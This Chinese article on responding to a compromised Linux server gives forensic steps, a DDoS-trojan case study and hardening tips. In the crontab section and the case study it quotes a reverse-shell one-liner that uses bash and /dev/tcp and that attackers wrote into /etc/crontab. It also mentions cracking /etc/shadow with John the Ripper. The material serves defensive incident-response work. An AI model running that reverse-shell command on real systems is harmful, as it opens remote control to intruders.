伺服器被入侵了怎麼辦(黑客是怎麼入侵電腦的)
伺服器被黑客入侵了怎麼辦?
遇到伺服器被黑,很多人會採用拔網線、封 iptables 或者關掉所有服務的方式應急,但如果是線上伺服器就不能立即採用任何影響業務的手段了,需要根據伺服器業務情況分類處理。
下面我們看一個標準的伺服器安全應急影響應該怎麼做,也算是筆者從事安全事件應急近 6 年以來的一些經驗之談,藉此拋磚引玉,希望大神們不吝賜教~
如上圖,將伺服器安全應急響應流程分為如下 8 個環節:
· 發現安全事件(核實)
· 現場保護
· 伺服器保護
· 影響範圍評估
· 線上分析
· 資料備份
· 深入分析
· 事件報告整理
接下來我們將每個環節分解,看看需要如何斷開異常連線、排查入侵源頭、避免二次入侵等。
核實資訊(運維/安全人員)
根據安全事件通知源的不同,分為兩種:
外界通知:和報告人核實資訊,確認伺服器/系統是否被入侵。現在很多企業有自己的 SRC(安全響應中心),在此之前更多的是依賴某雲。這種情況入侵的核實一般是安全工程師完成。
自行發現:根據伺服器的異常或故障判斷,比如對外傳送大規模流量或者系統負載異常高等,這種情況一般是運維工程師發現並核實的。
現場保護(運維)
我們很多人看過大陸的電視劇《重案六組》,每次接到刑事案件,刑警們第一時間就是封鎖現場、儲存現場原狀。
同樣道理,安全事件發生現場,跟刑事案件發生現場一樣,需要儲存第一現場重要資訊,方便後面入侵檢測和取證。
儲存現場環境(截圖)
相關資訊採集命令如下:
· 程序資訊:ps axu
· 網路資訊:netstat –a
· 網路 程序:lsof / netstat -p
攻擊者登陸情況(截圖)
相關資訊採集命令如下:
· 檢視當前登入使用者:w 或 who -a
伺服器保護(運維/機房)
這裡的現場保護和伺服器保護是兩個不同的環節,前者注重取證,後者注重環境隔離。
核實機器被入侵後,應當儘快將機器保護起來,避免被二次入侵或者當成跳板擴大攻擊面。
此時,為保護伺服器和業務,避免伺服器被攻擊者繼續利用,應儘快遷移業務,立即下線機器。
如果不能立即處理,應當通過配置網路 ACL 等方式,封掉該伺服器對網路的雙向連線。
影響範圍評估(運維/開發)
一般是運維或者程式確認影響範圍,需要運維通過日誌或者監控圖表確認資料庫或者敏感檔案是否洩露,如果是程式碼或者資料庫洩露了,則需要程式評估危害情況與處置方法。
影響訪問評估一般從下面幾點來入手:
· 具體業務架構:Web(PHP/Java, WebServer), Proxy, DB等。
· IP 及所處區域拓撲等:VLAN 內伺服器和應用情況。
· 確定同一網路下面伺服器之間的訪問:可以互相登陸,是否需要 Key 或者是密碼登入。
由此確定檢查影響範圍,確認所有受到影響的網段和機器。
線上分析(安全人員/運維)
這時需要根據個人經驗快速線上分析,一般是安全人員和運維同時線上處理,不過會涉及多人協作的問題,需要避免多人操作機器時破壞伺服器現場,造成分析困擾。
之前筆者遇到一個類似的問題,就是運維排查時敲錯了 iptables 的命令,將 iptables -L 敲成 iptables -i 導致 iptables-save 時出現異常記錄,結果安全人員上來檢查時就被這條記錄迷惑了,導致處理思路受到一定干擾。
所有使用者 History 日誌檢測
· 關鍵字:wget/curl, gcc, 或者隱藏檔案, 敏感檔案字尾(.c,.py,conf, .pl, .sh)。
· 檢查是否存在異常使用者。
· 檢查最近新增的使用者,是否有不知名使用者或不規範提權。
· 找出 root 許可權的使用者。
可以執行以下命令檢查:
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
反連木馬判斷
· netstat –a
· 注意非正常埠的外網 IP
可疑程序判斷
· 判斷是否為木馬 ps –aux
· 重點關注檔案(隱藏檔案), Python指令碼,Perl指令碼,Shell 指令碼(bash/sh/zsh)。
· 使用 which,whereis,find 定位。
Crontab 檢測
不要用 crontab –l 檢視 crontab(繞過檢測),也有通過寫 crontab 配置檔案反彈Shell 的,筆者接觸過幾次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。
系統日誌檢測
· 檢查 sshd 服務配置檔案 /etc/ssh/sshd_config 和系統認證日誌 auth、message,判斷是否為口令破解攻擊。
· /etc/ssh/sshd_config 檔案確認認證方式。
· 確認日誌是否被刪除或者清理過的可能(大小判斷)。
· last/lastb 可以作為輔助,不過可能不準確。
NHIDS 正常執行判斷
· 是否安裝:ls /etc/ossec
· 是否執行正常:ps axu |grep nhids,三個 nhids 程序則表示正常
其他攻擊分析
抓取網路資料包並進行分析,判斷是否為拒絕服務攻擊,這裡需要注意,一定要使用 -w 引數,這樣才能儲存成 pcap 格式匯入到 wireshark,這樣分析起來會事半功倍。
tcpdump -w tcpdump.log
安全相關的關鍵檔案和資料備份(運維)
可以同步進行,使用 sftp/rsync 等將日誌上傳到安全的伺服器:
· 打包系統日誌:參考:$ tar -jcvf syslog.tar.bz2 /var/log
· 打包 Web 日誌:access log
· 打包 History 日誌(所有使用者),參考:$ cp /home/user/,history user_history
· 打包 crontab 記錄
· 打包密碼檔案:/etc/passwd, /etc/shadow
· 打包可疑檔案、後門、Shell 資訊
深入分析(安全人員)
初步鎖定異常程序和惡意程式碼後,將受影響範圍梳理清楚,封禁了入侵者對機器的控制後,接下來需要深入排查入侵原因。一般可以從 Webshell、開放埠服務等方向順藤摸瓜。
Webshell 入侵
· 使用 Webshell_check.py 指令碼檢測 Web 目錄:
$ python webshell_check.py /var/www/ >result.txt
· 查詢 Web 目錄下所有 nobody 的檔案,人工分析:
$ find /var/www –user nobody >nobody.txt
· 如果能確定入侵時間,可以使用 find 查詢最近時間段內變化的檔案:
$ find / -type f -name "/.?*" |xargs ls -l |grep "Mar 22"
$ find / -ctime/-mtime 8
利用 Web 漏洞直接反連 Shell
分析 access.log:
· 縮小日誌範圍:時間,異常 IP 提取。
· 攻擊行為提取:常見的攻擊 exp 識別。
系統弱口令入侵
認證相關日誌 auth/syslog/message 排查:
· 爆破行為定位和 IP 提取。
· 爆破是否成功確定:有爆破行為 IP 是否有 accept 記錄。
如果日誌已經被清理,使用工具(比如John the Ripper)爆破 /etc/passwd,/etc/shadow。
其他入侵
其他伺服器跳板到本機。
後續行為分析
· History 日誌:提權、增加後門,以及是否被清理。
· Sniffer:網絡卡混雜模式檢測 ifconfig |grep –i proc。
· 內網掃描:網路 nmap/ 掃描器,socks5 代理。
· 確定是否有 rootkit:rkhunter, chkrootkit, ps/netstat 替換確認。
後門清理排查
· 根據時間點做關聯分析:查詢那個時間段的所有檔案。
· 一些小技巧:/tmp 目錄, ls –la,檢視所有檔案,注意隱藏的檔案。
· 根據使用者做時間關聯:比如 nobody。
其他機器的關聯操作
其他機器和這臺機器的網路連線 (日誌檢視)、相同業務情況(同樣業務,負載均衡)。
整理事件報告(安全人員)
事件報告應包含但不限於以下幾個點:
· 分析事件發生原因:事件為什麼會發生的原因。
· 分析整個攻擊流程:時間點、操作。
· 分析事件處理過程:整個事件處理過程總結是否有不足。
· 分析事件預防:如何避免事情再次發生。
· 總結:總結事件原因,改進處理過程,預防類似事件再次發生。
處理中遇到的比較棘手的事情
日誌和操作記錄全被刪了,怎麼辦?
strace 檢視 losf 程序,再嘗試恢復一下日誌記錄,不行的話映象硬碟資料慢慢查。這個要用到一些取證工具了,dd 硬碟資料再去還原出來。
系統賬號密碼都修改了,登不進去?
重啟進單使用者模式修改 root 密碼,或者通過控制卡操作,或者直接還原系統,都搞不定就直接重灌吧。
使用常見的入侵檢測命令未發現異常程序,但是機器在對外發包,這是怎麼回事?
這種情況下很可能常用的系統命令已經被攻擊者或者木馬程式替換,可以通過 md5sum 對比本機二進位制檔案與正常機器的 md5 值是否一致。
如果發現不一致,肯定是被替換了,可以從其他機器上拷貝命令到本機替換,或者 alias 為其他名稱,避免為惡意程式再次替換。
被 getshell 怎麼辦?
· 漏洞修復前,系統立即下線,用內網環境訪問。
· 上傳點放到內網訪問,不允許外網有類似的上傳點,有上傳點,而且沒有校驗檔案型別很容易上傳 Webshell。
· 被 getshell 的伺服器中是否有敏感檔案和資料庫,如果有請檢查是否有洩漏。
· hosts 檔案中對應的 host 關係需要重新配置,攻擊者可以配置 hosts 來訪問測試環境。
· 重灌系統。
案例分析
上面講了很多思路的東西,相信大家更想看看實際案例,下面分享個案例。
一個筆者實際處理過的案例,基本處理流程跟上面提到的思路大同小異。
整個事情處理經過大致如下:
1、運維發現一臺私有云主機間歇性的對外傳送高達 800Mbps 的流量,影響了同一個網段的其他機器。
2、安全人員接到通知後,先確認了機器屬於備機,沒有跑線上業務,於是通知運維封禁 iptables 限制外網訪問。
3、運維為安全人員臨時開通機器許可權,安全人員通過 History 和 ps 找到的入侵記錄和異常程序鎖定了對外大量發包的應用程式,清理了惡意程序並刪除惡意程式。
惡意程序如下,經過在網路搜尋發現是一種 DDOS 木馬,但沒有明確的處理思路:
/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673
處理過程中,安全人員懷疑係統檔案被替換,通過對比該機器與正常機器上面的 ps、netstat 等程式的大小發現敏感程式已經被替換,而且 mtime 也被修改。
正常機器:
· du -sh /bin/ps
· 92K /bin/ps
· du -sh /bin/netstat
· 120K /bin/netstat
被入侵機器:
· du -sh /bin/netstat
· 2.0M /bin/netstat
· du -sh /bin/ps
· 2.0M /bin/ps
將部分常用二進位制檔案修復後,發現異常程序被 kill 掉後仍重啟了,於是安裝防毒軟體 clamav 和 rootkit hunter 進行全盤掃描。
從而確認了被感染的所有檔案,將那些可以刪除的檔案刪除後再次 kill 掉異常程序,則再沒有重啟的問題。
4、影響範圍評估
由於該機器只是備機,上面沒有敏感資料,於是資訊洩露問題也就不存在了。
掃描同一網段機器埠開放情況、排查被入侵機器 History 是否有對外掃描或者入侵行為,為此還在該網段機器另外部署蜜罐進行監控。
5、深入分析入侵原因
通過被入侵機器所跑服務、iptables 狀態,確認是所跑服務支援遠端命令執行。
並且機器 iptables 為空導致黑客通過往 /etc/crontab 中寫“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式進行 Shell 反彈,從而入侵了機器。
6、驗證修復、機器下線重灌
進行以上修復操作後,監控未發現再有異常,於是將機器下線重灌。
7、完成安全事件處理報告
每次安全事件處理後,都應當整理成報告,不管是知識庫的構建,還是統計分析安全態勢,都是很有必要的。
這次主要介紹了伺服器被入侵時推薦的一套處理思路。實際上,安全防護跟運維思路一樣,都是要防患於未然,這時候的審計或者響應很難避免危害的發生了。
我們更希望通過安全意識教育、安全制度的建設,在問題顯露端倪時即可消弭於無形。
Linux伺服器安全防護要點
1、強化:密碼管理
設定登入密碼是一項非常重要的安全措施,如果使用者的密碼設定不合適,就很容易被破譯,尤其是擁有超級使用者使用許可權的使用者,如果沒有良好的密碼,將給系統造成很大的安全漏洞。
目前密碼破解程式大多采用字典攻擊以及暴力攻擊手段,而其中使用者密碼設定不當,則極易受到字典攻擊的威脅。很多使用者喜歡用自己的英文名、生日或者賬戶等資訊來設定密碼,這樣,黑客可能通過字典攻擊或者是社會工程的手段來破解密碼。
所以建議使用者在設定密碼的過程中,應儘量使用非字典中出現的組合字元,並且採用數字與字元相結合、大小寫相結合的密碼設定方式,增加密碼被黑客破解的難度。而且,也可以使用定期修改密碼、使密碼定期作廢的方式,來保護自己的登入密碼。
在多使用者系統中,如果強迫每個使用者選擇不易猜出的密碼,將大大提高系統的安全性。但如果passwd程式無法強迫每個上機使用者使用恰當的密碼,要確保密碼的安全度,就只能依靠密碼破解程式了。
實際上,密碼破解程式是黑客工具箱中的一種工具,它將常用的密碼或者是英文字典中所有可能用來作密碼的字都用程式加密成密碼字,然後將其與Linux系統的/etc/passwd密碼檔案或/etc/shadow影子檔案相比較,如果發現有吻合的密碼,就可以求得明碼了。在網路上可以找到很多密碼破解程式,比較有名的程式是crack和john the ripper.使用者可以自己先執行密碼破解程式,找出容易被黑客破解的密碼,先行改正總比被黑客破解要有利。
2、限定:網路服務管理
早期的Linux版本中,每一個不同的網路服務都有一個服務程式(守護程序,Daemon)在後臺執行,後來的版本用統一的/etc/inetd伺服器程式擔此重任。Inetd是Internetdaemon的縮寫,它同時監視多個網路埠,一旦接收到外界傳來的連線資訊,就執行相應的TCP或UDP網路服務。
由於受inetd的統一指揮,因此Linux中的大部分TCP或UDP服務都是在/etc/inetd.conf檔案中設定。所以取消不必要服務的第一步就是檢查/etc/inetd.conf檔案,在不要的服務前加上“#”號。
一般來說,除了http、smtp、telnet和ftp之外,其他服務都應該取消,諸如簡單檔案傳輸協議tftp、網路郵件儲存及接收所用的imap/ipop傳輸協議、尋找和搜尋資料用的gopher以及用於時間同步的daytime和time等。
還有一些報告系統狀態的服務,如finger、efinger、systat和netstat等,雖然對系統查錯和尋找使用者非常有用,但也給黑客提供了方便之門。例如,黑客可以利用finger服務查詢使用者的電話、使用目錄以及其他重要資訊。因此,很多Linux系統將這些服務全部取消或部分取消,以增強系統的安全性。Inetd除了利用/etc/inetd.conf設定系統服務項之外,還利用/etc/services檔案查詢各項服務所使用的埠。因此,使用者必須仔細檢查該檔案中各埠的設定,以免有安全上的漏洞。
在後繼的Linux版本中(比如Red Hat Linux7.2之後),取而代之的是採用xinetd進行網路服務的管理。
當然,具體取消哪些服務不能一概而論,需要根據實際的應用情況來定,但是系統管理員需要做到心中有數,因為一旦系統出現安全問題,才能做到有步驟、有條不紊地進行查漏和補救工作,這點比較重要。
3、嚴格審計:系統登入使用者管理
在進入Linux系統之前,所有使用者都需要登入,也就是說,使用者需要輸入使用者賬號和密碼,只有它們通過系統驗證之後,使用者才能進入系統。
與其他Unix作業系統一樣,Linux一般將密碼加密之後,存放在/etc/passwd檔案中。Linux系統上的所有使用者都可以讀到/etc/passwd檔案,雖然檔案中儲存的密碼已經經過加密,但仍然不太安全。因為一般的使用者可以利用現成的密碼破譯工具,以窮舉法猜測出密碼。比較安全的方法是設定影子檔案/etc/shadow,只允許有特殊許可權的使用者閱讀該檔案。
在Linux系統中,如果要採用影子檔案,必須將所有的公用程式重新編譯,才能支援影子檔案。這種方法比較麻煩,比較簡便的方法是採用插入式驗證模組(PAM)。很多Linux系統都帶有Linux的工具程式PAM,它是一種身份驗證機制,可以用來動態地改變身份驗證的方法和要求,而不要求重新編譯其他公用程式。這是因為PAM採用封閉包的方式,將所有與身份驗證有關的邏輯全部隱藏在模組內,因此它是採用影子檔案的最佳幫手。
此外,PAM還有很多安全功能:它可以將傳統的DES加密方法改寫為其他功能更強的加密方法,以確保使用者密碼不會輕易地遭人破譯;它可以設定每個使用者使用電腦資源的上限;它甚至可以設定使用者的上機時間和地點。
Linux系統管理人員只需花費幾小時去安裝和設定PAM,就能大大提高Linux系統的安全性,把很多攻擊阻擋在系統之外。
4、設定:使用者賬號安全等級管理
除密碼之外,使用者賬號也有安全等級,這是因為在Linux上每個賬號可以被賦予不同的許可權,因此在建立一個新使用者ID時,系統管理員應該根據需要賦予該賬號不同的許可權,並且歸併到不同的使用者組中。
在Linux系統中的部分檔案中,可以設定允許上機和不允許上機人員的名單。其中,允許上機人員名單在/etc/hosts.allow中設定,不允許上機人員名單在/etc/hosts.deny中設定。此外,Linux將自動把允許進入或不允許進入的結果記錄到/var/log/secure檔案中,系統管理員可以據此查出可疑的進入記錄。
每個賬號ID應該有專人負責。在企業中,如果負責某個ID的職員離職,管理員應立即從系統中刪除該賬號。很多入侵事件都是借用了那些很久不用的賬號。
在使用者賬號之中,黑客最喜歡具有root許可權的賬號,這種超級使用者有權修改或刪除各種系統設定,可以在系統中暢行無阻。因此,在給任何賬號賦予root許可權之前,都必須仔細考慮。
Linux系統中的/etc/securetty檔案包含了一組能夠以root賬號登入的終端機名稱。例如,在RedHatLinux系統中,該檔案的初始值僅允許本地虛擬控制檯(rtys)以root許可權登入,而不允許遠端使用者以root許可權登入。最好不要修改該檔案,如果一定要從遠端登入為root許可權,最好是先以普通賬號登入,然後利用su命令升級為超級使用者。
5、謹慎使用:“r系列”遠端程式管理
在Linux系統中有一系列r字頭的公用程式,比如rlogin,rcp等等。它們非常容易被黑客用來入侵我們的系統,因而非常危險,因此絕對不要將root賬號開放給這些公用程式。由於這些公用程式都是用。rhosts檔案或者hosts.equiv檔案核准進入的,因此一定要確保root賬號不包括在這些檔案之內。
由於r等遠端指令是黑客們用來攻擊系統的較好途徑,因此很多安全工具都是針對這一安全漏洞而設計的。例如,PAM工具就可以用來將r字頭公用程式有效地禁止掉,它在/etc/pam.d/rlogin檔案中加上登入必須先核准的指令,使整個系統的使用者都不能使用自己home目錄下的。rhosts檔案。
6、限制:root使用者許可權管理
Root一直是Linux保護的重點,由於它權力無限,因此最好不要輕易將超級使用者授權出去。但是,有些程式的安裝和維護工作必須要求有超級使用者的許可權,在這種情況下,可以利用其他工具讓這類使用者有部分超級使用者的許可權。sudo就是這樣的工具。
sudo程式允許一般使用者經過組態設定後,以使用者自己的密碼再登入一次,取得超級使用者的許可權,但只能執行有限的幾個指令。例如,應用sudo後,可以讓管理磁帶備份的管理人員每天按時登入到系統中,取得超級使用者許可權去執行文件備份工作,但卻沒有特權去作其他只有超級使用者才能作的工作。
sudo不但限制了使用者的許可權,而且還將每次使用sudo所執行的指令記錄下來,不管該指令的執行是成功還是失敗。在大型企業中,有時候有許多人同時管理Linux系統的各個不同部分,每個管理人員都有用sudo授權給某些使用者超級使用者許可權的能力,從sudo的日誌中,可以追蹤到誰做了什麼以及改動了系統的哪些部分。
值得注意的是,sudo並不能限制所有的使用者行為,尤其是當某些簡單的指令沒有設定限定時,就有可能被黑客濫用。例如,一般用來顯示檔案內容的/etc/cat指令,如果有了超級使用者的許可權,黑客就可以用它修改或刪除一些重要的檔案。
7、追蹤黑客蹤跡:日誌管理
當使用者仔細設定了各種與Linux相關的配置(最常用日誌管理選項),並且安裝了必要的安全防護工具之後,Linux作業系統的安全性的確大為提高,但是卻並不能保證防止那些比較熟練的網路黑客的入侵。
在平時,網路管理人員要經常提高警惕,隨時注意各種可疑狀況,並且按時檢查各種系統日誌檔案,包括一般資訊日誌、網路連線日誌、檔案傳輸日誌以及使用者登入日誌等。在檢查這些日誌時,要注意是否有不合常理的時間記載。例如:
· 正常使用者在半夜三更登入;
· 不正常的日誌記錄,比如日誌只記錄了一半就切斷了,或者整個日誌檔案被刪除了;
· 使用者從陌生的網址進入系統;
· 因密碼錯誤或使用者賬號錯誤被擯棄在外的日誌記錄,尤其是那些一再連續嘗試進入失敗,但卻有一定模式的試錯法;
· 非法使用或不正當使用超級使用者許可權su的指令;
· 重新開機或重新啟動各項服務的記錄。
上述這些問題都需要系統管理員隨時留意系統登入的使用者狀況以及檢視相應日誌檔案,許多背離正常行為的蛛絲馬跡都應當引起高度注意。
8、橫向擴充套件:綜合防禦管理
防火牆、IDS等防護技術已經成功地應用到網路安全的各個領域,而且都有非常成熟的產品。
在Linux系統來說,有一個自帶的Netfilter/Iptables防火牆框架,通過合理地配置其也能起到主機防火牆的功效。在Linux系統中也有相應的輕量級的網路入侵檢測系統Snort以及主機入侵檢測系統LIDS(Linux Intrusion Detection System),使用它們可以快速、高效地進行防護。
需要提醒注意的是:在大多數的應用情境下,我們需要綜合使用這兩項技術,因為防火牆相當於安全防護的第一層,它僅僅通過簡單地比較IP地址/埠對來過濾網路流量,而IDS更加具體,它需要通過具體的資料包(部分或者全部)來過濾網路流量,是安全防護的第二層。綜合使用它們,能夠做到互補,並且發揮各自的優勢,最終實現綜合防禦。
9、評測:漏洞追蹤及管理
Linux作為一種優秀的開源軟體,其自身的發展也日新月異,同時,其存在的問題也會在日後的應用中慢慢暴露出來。黑客對新技術的關注從一定程度上來說要高於我們防護人員,所以要想在網路攻防的戰爭中處於有利地位,保護Linux系統的安全,就要求我們要保持高度的警惕性和對新技術的高度關注。使用者特別是使用Linux作為關鍵業務系統的系統管理員們,需要通過Linux的一些權威網站和論壇上儘快地獲取有關該系統的一些新技術以及一些新的系統漏洞的資訊,進行漏洞掃描、滲透測試等系統化的相關配套工作,做到防範於未然,提早行動,在漏洞出現後甚至是出現前的最短時間內封堵系統的漏洞,並且在實踐中不斷地提高安全防護的技能,這樣才是一個比較的解決辦法和出路。
10、保持更新:補丁管理
Linux作為一種優秀的開源軟體,其穩定性、安全性和可用性有極為可靠的保證,世界上的Linux高手共同維護著個優秀的產品,因而起流通渠道很多,而且經常有更新的程式和系統補丁出現,因此,為了加強系統安全,一定要經常更新系統核心。
Kernel是Linux作業系統的核心,它常駐記憶體,用於載入作業系統的其他部分,並實現作業系統的基本功能。由於Kernel控制計算機和網路的各種功能,因此,它的安全性對整個系統安全至關重要。
早期的Kernel版本存在許多眾所周知的安全漏洞,而且也不太穩定,只有2.0.x以上的版本才比較穩定和安全(一般說來,核心版本號為偶數的相對穩定,而為奇數的則一般為測試版本,使用者們使用時要多留意),新版本的執行效率也有很大改觀。在設定Kernel的功能時,只選擇必要的功能,千萬不要所有功能照單全收,否則會使Kernel變得很大,既佔用系統資源,也給黑客留下可乘之機。
在Internet上常常有最新的安全修補程式,Linux系統管理員應該訊息靈通,經常光顧安全新聞組,查閱新的修補程式。